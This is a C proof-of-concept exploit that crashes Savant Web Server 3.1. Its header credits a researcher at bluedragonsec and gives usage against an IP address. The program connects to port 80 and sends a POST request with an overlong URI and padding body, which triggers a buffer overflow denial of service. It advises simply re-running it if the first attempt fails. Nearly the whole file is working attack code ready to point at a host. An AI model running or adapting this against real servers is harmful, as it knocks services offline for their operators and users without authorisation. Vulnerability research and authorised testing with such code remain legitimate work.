/*
=======================================================================

    Savant Web Server 3.1 Post Method Buffer Overflow Denial of Service  
    -----vulnerability discovered by Antonius                            
    web : bluedragonsec.com  - github.com/bluedragonsecurity             

=========================================================================

Usage : ./exploit <ip>
Example : ./exploit 192.168.56.100


    sometimes the bug won't trigger at first run, just re-run the poc !!!
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/socket.h>
#include <netdb.h>
#include <arpa/inet.h>

void banner() {
    printf(
    "\n=======================================================================\n\n"
    "    Savant Web Server 3.1 Post Method Buffer Overflow Denial of Service  \n"
    "    -----vulnerability discovered by Antonius                            \n"
    "    web : bluedragonsec.com  - github.com/bluedragonsecurity             \n\n"
    "=========================================================================\n\n");
    puts("sometimes the bug won't trigger at first run, just re-run the poc !!!");
}

void usage(const char *prog) {
    printf("Usage : %s <ip>\n", prog);
    printf("Example : %s 192.168.56.100\n\n", prog);
}

int main(int argc, char **argv) {
    int s, port = 80, total;
    char uri[258], body[555], req[1024];
    struct sockaddr_in sa;
    struct hostent *h;

    banner();
    if (argc < 2) {
        usage(argv[0]);
        return 1;
    }
    h = gethostbyname(argv[1]);
    if (!h) {
        printf("[-] resolve failed\n");
        return 1;
    }
    memset(uri, 'A', 253);
    memset(uri + 253, 'B', 4);
    uri[257] = '\0';
    memset(body, 'D', 554);
    body[554] = '\0';
    s = socket(AF_INET, SOCK_STREAM, 0);
    memset(&sa, 0, sizeof(sa));
    sa.sin_family = AF_INET;
    sa.sin_port = htons(port);
    sa.sin_addr = *(struct in_addr *)h->h_addr_list[0];
    if (connect(s, (struct sockaddr *)&sa, sizeof(sa)) < 0) {
        printf("[-] connect failed\n");
        return 1;
    }
    printf("[+] connected to %s:%d\n", argv[1], port);
    total = sprintf(req, "POST /%s\r\n\r\n%s", uri, body);
    send(s, req, total, 0);
    close(s);
    printf("[+] payload sent (%d bytes)\n", total);

    return 0;
}
